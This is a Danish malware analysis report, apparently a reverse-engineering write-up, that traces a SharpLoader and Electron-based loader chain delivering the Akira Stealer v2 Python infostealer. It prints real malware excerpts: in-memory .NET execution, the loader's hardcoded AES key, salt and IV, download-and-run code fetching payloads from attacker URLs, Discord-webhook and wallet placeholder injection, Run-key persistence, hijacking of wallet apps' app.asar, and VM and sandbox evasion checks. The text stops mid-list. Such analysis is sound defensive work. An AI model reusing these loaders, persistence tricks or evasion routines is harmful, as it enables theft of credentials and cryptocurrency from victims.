Når payloaden i andet trin er dekrypteret, udgør den resulterende byte-array en gyldig .NET-assembly. I stedet for at skrive denne assembly til disk, hvilket er en velkendt indikator for antivirus- og EDR-systemer, kører SharpLoader den direkte i hukommelsen med reflection:
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
Teknikken kaldes fileless execution. Den er meget svær at opdage, fordi den:
- Undgår at røre disken og efterlader ingen filbaserede IOC'er (indicators of compromise)
- Gør traditionel forensisk indsamling sværere, da ingen binærfil gemmes på disk
- Omgår statisk signaturbaseret detektion, fordi AV-engines ofte bygger på at scanne filer
Er EntryPoint ikke static, har loaderen en fallback-logik:
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
Det sikrer kompatibilitet med assemblies, der kræver et instantieret objekt for at kunne køre (for eksempel public int Main() inde i en klasseinstans). Koden opretter dynamisk en instans af klassen og kalder derefter entry point-metoden.
Kombineret med AMSI-omgåelsen og dekrypteringen i hukommelsen leverer mekanismen den endelige payload til eksekvering på en lydløs og helt filløs måde, et kendetegn ved moderne, undvigende malware.
4.5 Kommandolinjeparametre og fleksibilitet
PowerShell-funktionen Invoke-SharpLoader er bygget til at fungere som en fleksibel wrapper omkring vilkårlige .NET-payloads. Den understøtter dynamisk input af både payloadens placering og argumenter, så den samme loader-instans kan genbruges på tværs af flere operationer eller kampagner.
Understøttede parametre:
-location(obligatorisk): Angiver enten en URL eller en lokal filsti til den krypterede payload i andet trin.-password(obligatorisk): Bruges til at aflede AES-dekrypteringsnøglen.-argument,-argument2,-argument3(valgfri): Sendes direkte videre tilMain()-metoden i.NET-assemblyen via reflection.-noArgs: Udløser eksekvering uden at sende parametre videre til payloaden i andet trin.
Internt samles argumenterne og sendes videre sådan her:
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
Det betyder, at .NET-payloaden forventes at have en signatur som:
static void Main(string[] args)
eller også falder den elegant tilbage til den parameterløse Main()-variant via fallback-logikken. Den adfærd giver red teams og malwareudviklere mulighed for at bygge alsidige andentrinskomponenter, der kan udføre forskellige operationer afhængigt af inputtet, for eksempel starte et implant, indsamle systemoplysninger eller indlede C2-kommunikation.
Modularitet og konfigurerbarhed af den slags er centrale træk ved avancerede malware-frameworks, og de illustrerer, hvordan scriptbaserede loadere kan opføre sig som yderst tilpasningsdygtige eksekveringsmiljøer for efterfølgende payloads.
4.6 Eksempel på brug i virkeligheden
For at illustrere, hvordan SharpLoader kører i en faktisk kampagne, kan man se på følgende kald, som er observeret i naturen:
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
Eksemplet viser det typiske brugsmønster for SharpLoader:
- Location-argumentet: URL'en peger på en fjernserver, der hoster
calc.enc, en skjult payload til andet trin. Endpointet ligger under en legitimt udseende.well-known-mappe, som ofte bruges til validering af HTTPS-certifikater, og det hjælper URL'en med at gå i ét med almindelig webtrafik. - Payloadens kendetegn:
calc.encer en tredobbelt obfuskeret fil, Base64-kodet, GZip-komprimeret og AES-krypteret. Obfuskeringspipelinen sikrer, at payloaden er uigennemsigtig for de fleste detektionsmekanismer, medmindre den køres og dekrypteres helt i hukommelsen. - Password-argumentet: Strengen
UwUFufu1bruges ved kørsel til at aflede AES-nøglen via SHA-256 og PBKDF2. Uden denne adgangskode kan payloaden ikke dekrypteres, hvilket gør offlineanalyse uden kontekst næsten umulig. - Ingen yderligere argumenter: Flaget
-noArgsangiver, at der ikke sendes kommandolinjeparametre til den dekrypterede .NET-assembly, hvilket udløser dens standardeksekveringsvej.
Den lydløse kaldekæde rummer SharpLoaders kerneformål: filløs, tilpasningsdygtig og sikker levering af payloads gennem simpel PowerShell-syntaks med maksimal obfuskering og omgåelse.
4.7 Sammenfatning
Konstruktionen Invoke-SharpLoader er et eksempel på en meget forfinet og undvigende teknik til staging af malware, der udnytter indbyggede systemkomponenter, reflection og kryptografi til at arbejde næsten udelukkende i hukommelsen.
Det væsentligste:
- Omgåelse af AMSI: Direkte patching af
AmsiScanBufferi hukommelsen slår antivirus-inspektionen fra uden at kalde API'er, der kan detekteres. - Sikker håndtering af payloads: Hentningen af krypterede og komprimerede payloads til andet trin sikrer fortrolighed og lægger flere lag omgåelse til.
- Eksekvering kun i hukommelsen: Dekrypterede payloads skrives aldrig til disk, hvilket gør det nærmest umuligt at opdage dem med traditionelle filbaserede scannere.
- Modulær og genbrugelig arkitektur: Gennem PowerShell-parametre kan SharpLoader genbruges fleksibelt på tværs af kampagner med forskellige payloads og adfærd ved kørsel.
5. Deep Dive: main.exe – Electron-baseret malware loader
Under reverse engineering blev det klart, at main.exe, som Microsoft Defender for Endpoint havde flagget, ikke var en konventionel binærfil, men en Electron-baseret malware loader. Den blev leveret i et arkiv ved navn app-64.7z, som Updater.exe hentede og udpakkede ved kørsel. Da den var udpakket, lignede strukturen og indholdet i høj grad en typisk Electron-applikation.
5.1 At genkende Electron-strukturen
Den udpakkede mappe indeholdt filer som:
chrome_100_percent.pak,v8_context_snapshot.bin,d3dcompiler_47.dllLICENSES.chromiumogLICENSES.electron- En stor
main.exe-binærfil (~150 MB) - En
resources-mappe medapp.asarog en sekundær binærfil,elevate.exe

Det er alle stærke indikationer på en Electron-app, der bruger Chromium og Node.js til at pakke JavaScript-baserede desktopapplikationer. Tilstedeværelsen af elevate.exe, en signeret Microsoft-binærfil der ofte bruges til at eskalere rettigheder, gav yderligere anledning til mistanke: den kan misbruges til at starte underprocesser med forhøjede rettigheder.
5.2 Udpakning og statisk analyse (Deep Dive)
I stedet for at køre main.exe valgte jeg en statisk analyse for at undgå at udløse nogen form for live-adfærd. Min oprindelige mistanke om, at main.exe var bygget med Electron, blev bekræftet, da jeg fandt filen app.asar inde i mappen resources. I Electron-apps indeholder dette arkiv al central applikationslogik, som JavaScript-filer, konfiguration (package.json) og assets, pakket i et særligt format af hensyn til ydeevne og obfuskering.
Et .asar-arkiv er i bund og grund en skrivebeskyttet container med høj ydeevne, der minder om .zip, men er optimeret til Electrons runtime. Det er ikke krypteret, men det gør adgangen til koden uigennemsigtig, og det gør statisk analyse sværere, medmindre arkivet pakkes ud.
Til udpakningen brugte jeg det officielle asar-værktøj fra npm. Trinnene var:
npm install -g asar
asar extract app.asar extracted_app
Kommandoerne ovenfor udtrak indholdet til en arbejdsmappe (extracted_app/), som afslørede den egentlige JavaScript-applikationskode. Den omfattede:
jscryter.js,input.js,obf.js: Disse scripts udgør malwarens logik.jscryter.jsser ud til at orkestrere leveringen af payloaden,input.jsdefinerer konfigurationskonstanter eller kommandologik, ogobf.jser et kraftigt obfuskeret script, der sandsynligvis indeholder kernelogikken i payloaden.package.json,package-lock.json: Definerer runtime-miljøetnode_modules/: Indeholder alle afhængigheder somaxios,adm-zip,child_process
Det udpakkede indhold gav fuld indsigt i malwarens logik uden at kræve, at den blev kørt, og det var afgørende for at kunne reverse engineere den sikkert. Trinnet bekræftede, at main.exe udelukkende fungerede som runtime-wrapper for de ondsindede scripts, der lå skjult inde i app.asar.
5.3. Hvad den statiske analyse afslørede
Ved at gennemgå koden manuelt bekræftede jeg, at malwarens logik udelukkende var JavaScript-baseret og kørte inde i Electron-runtimen. Scriptene var bygget til at:
- Hente en krypteret payload (
pyth.zip) fra fallback-URL'er - Udpakke arkivet med
adm-zip - Udføre strengerstatning for at injicere bestemte loginoplysninger eller wallet-adresser
- Starte den resulterende Python-fil (
astor.py) viachild_process.exec()ogpython.exe
Afgørende nok indeholdt loaderen også logik til at kopiere Updater.exe til brugerens AppData-mappe, hvis den ikke allerede var der, hvilket forstærkede persistensen og holdt infektionsløkken kørende.
6. Deep Dive: input.js – den krypterede JavaScript-payload-loader
input.js er en central komponent i den analyserede malwarekæde og fungerer som knudepunkt for dekryptering og eksekvering af en krypteret JavaScript-payload. Scriptet skjuler sin kernefunktionalitet bag et stærkt krypteringslag og afslører først sin adfærd under kørsel.
6.1 Krypterings- og dekrypteringsmekanik
Ved første øjekast indeholder input.js meget lidt læsbar kode. Dens primære formål er dog at dekryptere og eksekvere en stor obfuskeret JavaScript-blob, der ligger i selve scriptet.
6.1.1 Dekrypteringslogik
Scriptet definerer en decrypt()-funktion, der tager fire parametre:
encdata: De krypterede Base64-kodede datamasterkey: En passphrase i klartekstsalt: Et kryptografisk salt (Base64)iv: Initialiseringsvektoren til AES-dekrypteringen (Base64)
Dekrypteringen er implementeret med Node.js' indbyggede crypto-modul. Den foregår sådan her:
- Nøgleafledning:
Scriptet afleder en 256-bit symmetrisk nøgle med PBKDF2 (Password-Based Key Derivation Function 2):
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- Hashfunktion: SHA-512
- Iterationer: 100.000
- Nøglelængde: 32 bytes (256 bit)
- Salt: Leveres som Base64-afkodet input
- AES-256-CBC-dekryptering:
Den afledte nøgle bruges derefter til at oprette et AES-decipher-objekt:
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
Den krypterede payload dekrypteres med standardtilstanden CBC (Cipher Block Chaining):let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - Dynamisk eksekvering:
Den dekrypterede JavaScript-kode skrives aldrig til disk. Den eksekveres derimod dynamisk i hukommelsen via
Function-konstruktøren:new Function("require", decrypted)(require);
Teknikken muliggør filløs eksekvering og mindsker risikoen for at blive opdaget af traditionelle antivirusmotorer, der bygger på scanning af disken.
Tilgangen demonstrerer et lagdelt forsvar mod reverse engineering ved at kombinere nøgleafledning, stærk kryptering og dynamisk eksekvering i hukommelsen.
Nøglemateriale og krypterede data
Scriptet indeholder følgende hardkodede input:
- Krypterede data: En enorm Base64-kodet blob
- Masternøgle:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - Salt:
maXtklzMEZRY9dbul/XPSw==(Base64-kodet) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64-kodet)
De ligger alle indlejret direkte i kildekoden til input.js.
6.2 Payloadens adfærd efter dekryptering
Når først den indlejrede payload er dekrypteret, bliver den et komplet JavaScript-program, der udfører følgende ondsindede handlinger:
6.2.1 Klargøring af miljøet
Den dekrypterede payload begynder med at sætte sit eksekveringsmiljø op ved hjælp af Node.js' indbyggede moduler. Denne opsætningsfase sikrer, at alle nødvendige stier og arbejdsmapper er klart defineret, før nogen ondsindet adfærd sætter ind.
- Opslag af den midlertidige mappe:
Malwaren kalder
os.tmpdir()for at bestemme stien til systemets midlertidige mappe. Det er en udbredt taktik for malware, fordi midlertidige mapper typisk er skrivbare og bliver gransket mindre nøje af endpoint-beskyttelsessystemer.const tempDir = os.tmpdir(); - Opbygning af stier:
Scriptet opbygger derefter absolutte stier til to vigtige filer:
pyth.zip: Arkivet der indeholder den egentlige Python-baserede stealer i andet trinbnd.exe: En valgfri eksekverbar fil, der kan fungere som bagdør til persistens eller som yderligere payload
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
Denne opsætning af stier abstraherer den operativsystemspecifikke stisyntaks væk og gør, at malwaren kan arbejde uden problemer på ethvert Windows-system. Den lægger samtidig grunden til de mekanismer til download og udpakning af filer, der følger.
6.2.2 Download af payload med fallback-strategi
Den anden store fase i den dekrypterede JavaScript-payload handler om at hente et ondsindet ZIP-arkiv fra eksterne kilder. Mekanismen er bygget med en fallback-strategi i flere niveauer, der øger robustheden og tilgængeligheden.
- Primært linkopslag via Rentry.co
Scriptet begynder med at slå en dynamisk URL op hos en paste-tjeneste. Det sender en GET-forespørgsel til:
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
Den returnerer en URL-streng i klartekst, som peger på den faktiske placering af arkivetpyth.zip. At bruge en omdirigeringsmekanisme som denne er en udbredt obfuskeringsteknik. Den skjuler den egentlige ondsindede URL og gør statisk detektion sværere. - Gennemførelse af download
Den opslåede URL forespørges derefter med Axios-biblioteket og en response stream:
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
Filen skrives til disk sompyth.zipi systemets temp-mappe:const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
Downloaden er pakket ind i enPromisefor at sikre, at den er fuldført, før den videre logik kører. - Fallback-URL'er
Fejler linket fra Rentry, forsøger scriptet med hardkodede reserveplaceringer:
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
Domænerne er struktureret, så de ser ud som en del af almindelige mapper til TLS-validering, muligvis for at efterligne Let's Encrypt eller stier til domænevalidering og dermed vække mindre mistanke. Hver fallback forsøges med den samme streaming- og filskrivningslogik. - Robusthed og obfuskering
Fallback-mekanismen sikrer, at malwaren har flere veje til at hente sin payload til andet trin. Brugen af en dynamisk pointer (
rentry.co) og flere failover-spejle gør malwaren mere modstandsdygtig over for takedowns, blokering og DNS-sinkholes.
Fasen viser, at malwarens forfattere har planlagt driften omhyggeligt, med lagdelt redundans og velcamoufleret leveringsinfrastruktur.
- Henter
pyth.zipfra den opslåede URL - Fejler det, forsøger den med reservespejle:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 Udpakning og manipulation af payloaden
Når arkivet pyth.zip er hentet og gemt på disken, går malwaren videre med at udpakke indholdet og klargøre det til eksekvering. Det sker med Node.js-biblioteket adm-zip, der gør det muligt at håndtere ZIP-filer programmatisk.
- Udpakning af ZIP:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
Det udpakker hele arkivets indhold til systemets midlertidige mappe. Flagettruesikrer, at eksisterende filer overskrives. - Arkivets indhold:
Arkivet
pyth.zipindeholder et komplet pakket Python-projekt, heriblandt:- En mappestruktur, der ligner en legitim Python-pakke
- Flere Python-moduler og afhængigheder
- Nøglefilen
astor.py, der ligger iCrypto/Util/astor.py, og som er den primære stealer-payload
- Erstatning af pladsholdere:
Malwaren udfører en dynamisk udskiftning af foruddefinerede pladsholdere i
astor.pyfor at injicere konfigurationsdata, som angriberen styrer, for eksempel:- En Discord webhook-URL
- Wallet-adresser til kryptovaluta (BTC, ETH, DOGE, LTC, XMR med flere)
- En brugeridentifikator (
%USERID%) - Et fejlstatusflag (
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
Denne dynamiske manipulationsfase er afgørende. Ved at udskyde indsættelsen af de angriberstyrede værdier til kørselstidspunktet undgår payloaden statisk detektion, og operatøren kan tilpasse mål og eksfiltrerings-endpoints uden at pakke arkivet om.
- Erstatter pladsholderstrenge i
astor.py:- Discord webhook:
%DISCORD% - Wallet-adresser:
%ADDRESSBTC%,%ADDRESSETH%osv. - Bruger-ID og fejlflag
- Discord webhook:
6.2.4 Eksekvering af malwaren
- Når injektionen af pladsholdere i astor.py er gennemført, starter malwaren stealeren via et systemkald
exec("python.exe Crypto\\Util\\astor.py");
Kommandoen køres med Node.js' funktion child_process.exec og starter den indlejrede Python-payload i en separat proces. Netop dette eksekveringsmønster, python.exe med argumentet Crypto\Util\astor.py, blev observeret i de telemetridata, Microsoft Defender for Endpoint indsamlede, og det gør det til en pålidelig detektionsartefakt. I praksis ser eksekveringskæden sådan ud:
Hele malwarens eksekveringskæde, som den blev observeret i telemetrien fra Microsoft Defender for Endpoint, følger denne rækkefølge:
main.exe(Electron-baseret container) kaldernode.exenode.exestartercmd.execmd.exestarterpython.exepython.exeeksekverer filenCrypto\Util\astor.py
6.2.5 Forstærkning af persistens
For at sikre sig en langvarig tilstedeværelse på det inficerede system indeholder den dekrypterede JavaScript-payload logik til at genetablere persistensen ved at kopiere den oprindelige binærfil (Updater.exe) til en skjult placering i brugerens profil.
Målmappen
Filen kopieres til en mappe, der efterligner legitime Windows-komponenter:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Placeringen er valgt med omhu:
- %APPDATA% er skrivbar for almindelige brugere og kræver ingen administratorrettigheder.
- Mappenavnet efterligner legitime mapper til Microsoft-applikationer, hvilket gør det mindre mistænkeligt.
Kopieringsmekanismen:
Kopieringen bruger Node.js' funktion fs.copyFileSync():
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE er en miljøvariabel, som mange packers (for eksempel Electron) automatisk sætter for at referere til stien til den kørende binærfil.
- path.join(...) opbygger en fuldt kvalificeret destinationssti på tværs af forskellige operativsystemer.
Logikken kører kun, hvis filen ikke allerede er der, og den fungerer dermed som en selvreparationsmekanisme, der genskaber dropperen, hvis den slettes.
Rollen i malwarekæden Tilstedeværelsen af den kopierede Updater.exe sikrer, at:
- Loaderen kan udløse sig selv igen på tværs af genstarter af systemet.
- Hele infektionskæden (der fører til main.exe, node.exe og til sidst astor.py) kan sætte i gang igen uden at læne sig på traditionelle registry-baserede persistensmekanismer, der er mere sandsynlige at have under overvågning.
6.2.6 Valgfri binder-eksekvering
Ud over at hente og køre den primære stealer-payload (astor.py) indeholder den dekrypterede JavaScript-kode også logik til valgfrit at hente og starte en sekundær eksekverbar fil, kaldet "binderen". Komponenten kan bruges til persistens, til at distrahere eller til at udrulle yderligere malwaremoduler.
Betinget eksekvering
Binder-logikken aktiveres kun, hvis et bestemt flag er sat:
enableBinder = true;
I den analyserede sample var værdien som standard sat til false, men logikken ligger fortsat indlejret i payloaden og kan uden videre slås til i en anden kampagne eller variant.
Logikken bag download af binderen
Aktiveres den, forsøger scriptet at hente en ekstern binærfil fra en URL, som pladsholderen %BINDERURL% definerer:
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
- Filen
bnd.exegemmes i systemets midlertidige mappe. - Ligesom
pyth.ziphentes binærfilen med Axios som en stream, så hele binærfilen ikke skal indlæses i hukommelsen.
Eksekveringsstrategi
Efter en gennemført download kalder scriptet den hentede binærfil via cmd.exe, så den kører i en ny shell-kontekst:
exec(`start cmd /c start ${binderFile}`, ...);
For at øge pålideligheden indeholder scriptet retry-logik:
setTimeout(() => {
exec(...);
}, 5000);
Det sikrer, at malwaren forsøger at starte binærfilen igen efter en kort forsinkelse, også hvis den første eksekvering fejler (for eksempel på grund af systembelastning eller race conditions).
Anvendelser af binderen
Det præcise formål med binder-binærfilen fremgår ikke af netop denne sample (på grund af pladsholder-URL'en), men komponenter af den type bruges typisk til at:
- Geninstallere eller genstarte de primære malwarekomponenter
- Vise falske installationsprogrammer eller lokkeapplikationer
- Udrulle yderligere spyware, bagdøre eller ransomware
- Ændre systemindstillinger eller slå sikkerhedsfunktioner fra
6.3 Sammenfatning
input.js er en kraftigt obfuskeret, krypteret JavaScript-loader, der bruger kryptografi efter branchestandard (PBKDF2 + AES-256-CBC) til at skjule sit egentlige formål. Efter dekrypteringen fungerer den som en fuldt udrustet loader i andet trin, der:
- Henter yderligere malware (
pyth.zip) - Ændrer payloadens adfærd dynamisk
- Starter det egentlige stealer-script (
astor.py) - Forstærker persistensen ved at genskabe
Updater.exe
Kombinationen af kryptering, dynamisk eksekvering, modulær hentning af payloads og filløs drift viser en yderst avanceret JavaScript-baseret malwarearkitektur, der udnytter Node.js' muligheder inde i en Electron-shell.
7. DeepDive: Akira Stealer v2 (astor.py)
7.1. Funktionaliteten på overordnet niveau
Akira Stealer v2 (astor.py) er en multifunktionel, modulær infostealer skrevet i Python. Den er bygget til at eksfiltrere en bred vifte af følsomme brugerdata fra både Chromium- og Firefox-baserede browsere, kryptowallets, kommunikationsklienter (for eksempel Discord og Telegram) og systemfiler. Den rummer avancerede anti-analysemekanismer, registry-baseret persistens, clipboard hijacking og teknikker til memory injection.
7.2 Persistens og udrulning
7.2.1 Eksekveringskædens kontekst
astor.py kører ikke alene, men er den sidste payload i en angrebskæde med flere trin:
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
Den strukturerede eksekveringskæde gør, at hvert trin kan undgå detektion ved at uddelegere den ondsindede funktionalitet til det næste. Updater.exe sætter forløbet i gang og står for at opretholde persistensen.
7.2.2 Registry-baseret persistens
Akira etablerer persistens ved at skrive en registry-nøgle under den aktuelle brugers Run-sti. Det sikrer, at Updater.exe køres ved hver systemstart:
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- Sti:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Værdinavn:
Realtek Audio(valgt, så det virker harmløst) - Payload-sti: Typisk i
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
Kommandoen skriver autorun-posten lydløst via PowerShell eller et nativt os.system()-kald.
7.2.3 Skjulning af filen
For yderligere at skjule binærfilen for brugere og simple AV-scanninger markeres filen med attributterne hidden og system:
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: Markerer filen som skjult+s: Markerer filen som en beskyttet systemfil
Det fjerner i praksis filen fra de almindelige visninger i Windows Explorer og øger stealth.
7.2.4 Reinfektionsteknikker
Malwaren understøtter selvreplikering og reinfektion gennem Electron application hijacking. Konkret erstatter den arkivet app.asar i Electron-baserede desktop-wallets (for eksempel Exodus og Atomic Wallet), så der køres ondsindet JavaScript, når den legitime app starter.
Logikken leder efter kendte stier til wallet-apps:
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
Findes målfilen, bliver den overskrevet med et våbengjort arkiv. Det sikrer persistens, også efter at Updater.exe er ryddet op manuelt.
7.3 Anti-analyse og omgåelse (klassen VmProtect)
7.3.1 Introduktion
I moderne malwarekampagner er det afgørende at undgå analyse i virtualiserede og sandkasseisolerede miljøer for at bevare stealth. Akira Stealer v2 implementerer et omfattende modul til detektion af VM og sandkasse (VmProtect), der aggressivt identificerer analytikerstyrede miljøer og afbryder eksekveringen. Denne rapport dissekerer hver enkelt detektionsteknik, viser de præcise kodeudsnit inklusive de komplette blacklist-definitioner og beskriver den anvendte analysemetode.
7.3.2 Overblik
Klassen VmProtect implementerer robust detektion af VM'er og sandkasser for at afbryde eksekveringen i utide i analysemiljøer. Den understøtter to detektionsniveauer:
- Level 1: Lette, hurtige tjek
- Level 2: Dybdegående, omfattende sonderinger
Returnerer VmProtect.isVM(level) værdien True, kalder malwaren sys.exit() og forhindrer dermed videre analyse.
7.3.3 Detektionsniveauer
| Funktion | Level 1 | Level 2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| Blacklist over computernavne | ✔️ | ✔️ |
| Blacklist over brugerkonti | ✔️ | ✔️ |
| Blacklist over hardware-UUID'er | ❌ | ✔️ |
| Tjek via public-hosting-API | ❌ | ✔️ |
| Spor i registry og GPU | ❌ | ✔️ |
| Task-killing i baggrunden | ✔️ | ✔️ |
7.3.4 VmProtect-arkitekturen
Klassen VmProtect eksponerer følgende primære metoder:
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
Hver metode returnerer en boolean eller udfører omgåelsestrin. Wrapperen isVM samler disse tjek ud fra det angivne niveau.
| Metode | Udløses af | Beskrivelse |
|---|---|---|
checkUUID() |
isVM(2) |
Blacklist over WMI-UUID'er |
checkComputerName() |
isVM(1,2) |
Match på hostname fra miljøet |
checkUsers() |
isVM(1,2) |
Blacklist over brugernavne |
checkHosting() |
isVM(2) |
Tjek af IP-adressens hostingudbyder via ip-api.com |
checkHTTPSimulation() |
isVM(1,2) |
Detektion af HTTPS-aflytning |
checkRegistry() |
isVM(2) |
Artefakter i registry og GPU-driver |
killTasks() |
isVM(...) spawn |
Afslutter kendte analyseprocesser |
isVM(level) |
init | Samler tjekkene og kalder tråden killTasks() |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUID-tjek – at identificere virtuelle maskiner via hardware-UUID
En udbredt taktik i malwarens omgåelse er at tage fingeraftryk af det underliggende hardwaremiljø. En af de tidligste identifikatorer, der kan afsløre en virtuel maskine, er systemets UUID (Universally Unique Identifier). Virtualiseringsplatforme som VMware og VirtualBox genererer ofte forudsigelige eller genbrugte UUID'er, og dem kan malware bruge til at slutte, om den kører i et virtualiseret eller sandkasseisoleret miljø.
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
Tjekket bruger værktøjet Windows Management Instrumentation Command-line (WMIC) til at udtrække værtsmaskinens UUID. Den returnerede værdi holdes derefter op mod en kurateret liste over UUID'er, der typisk hører til skabeloner for virtuelle maskiner eller kendte analyseopsætninger.
7.3.6 Tjek af computernavn – at opdage sandkasse- og analysemiljøer via hostname
Systemets hostname, som læses via miljøvariablen %COMPUTERNAME%, afslører ofte spor om miljøet. Analytikere bruger tit standardnavne eller hurtigt genererede hostnavne som "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eller endda navne knyttet til deres interne miljøer. Det udnytter malwaren ved at sammenligne systemets hostname med en blacklist.
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
Er der et match, kan malwaren vælge at standse eksekveringen eller udrulle en falsk payload og dermed undgå en fuld adfærdsanalyse.
7.3.7 Tjek af brugerkonto – profilering af analytiker- og standardkonti
En anden heuristik består i at vurdere det brugernavn, malwaren kører under. Mange skabeloner til virtuelle maskiner og sandkasser genbruger almindelige brugernavne som "Abby", "Test" eller "wdagutilityaccount". Navnene har lav entropi og er ofte hardkodede i sandkassemiljøer med åben kildekode.
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
Tjekket forbedrer detektionen ved at se på brugerkonteksten, som kan være uændret selv på tværs af genstarter eller snapshots af virtuelle maskiner.
7.3.8 Hosting-tjek – at opdage offentlig cloudinfrastruktur
Noget malware bruger eksterne IP-efterretningstjenester til at få bekræftet, om det inficerede system står i et kendt datacenter eller hos en kendt cloududbyder. I dette tilfælde sendes en simpel HTTP-forespørgsel til ip-api.com med spørgsmålet, om IP-adressen er flagget som "hosting".
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
Det gør, at malwaren kan afgøre, om den kører på infrastruktur, der tilhører Microsoft Azure, AWS, DigitalOcean og lignende, hvilket er et advarselstegn om sandkasseanalyse.
7.3.9 HTTPS-simuleringstjek – sondering efter SSL-aflytning
For at identificere miljøer med SSL-inspektion, som er udbredt i virksomheds- og forskningsnetværk, sender malwaren en harmløs HTTPS-forespørgsel til et tilfældigt subdomæne under .in. Fejler forbindelsen på grund af DNS-filtrering, aflytningsproxyer eller mislykket certificate pinning, kan det være et signal om, at malwaren bliver analyseret.
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
Den diskrete fremgangsmåde tester netværksvejens integritet uden at udløse alarmer eller kræve dedikeret infrastruktur.
7.3.10 Tjek af registry og GPU-driver – at opdage virtuelle GPU-signaturer
Nogle virtuelle miljøer forrådes af registry-nøgler eller beskrivelser af GPU-driveren. Akira kører en dobbelt strategi: den forespørger registry-poster knyttet til grafiksubsystemet og undersøger separat output fra wmic for mistænkelige GPU-strenge.
@staticmethod
def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
Tjekkene på hardwareniveau er særligt effektive mod analyseopsætninger, der måske ikke helt maskerer virtualiserede skærmadaptere.
7.3.11 Task-killing – at undertrykke analyseværktøjer i realtid
Akira nøjes ikke med passivt at undgå detektion, den går et skridt videre og afslutter aktivt kendte analyse- og debugværktøjer. Den starter en baggrundstråd, der gennemløber en liste af processer og dræber hvert match, den finder.
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
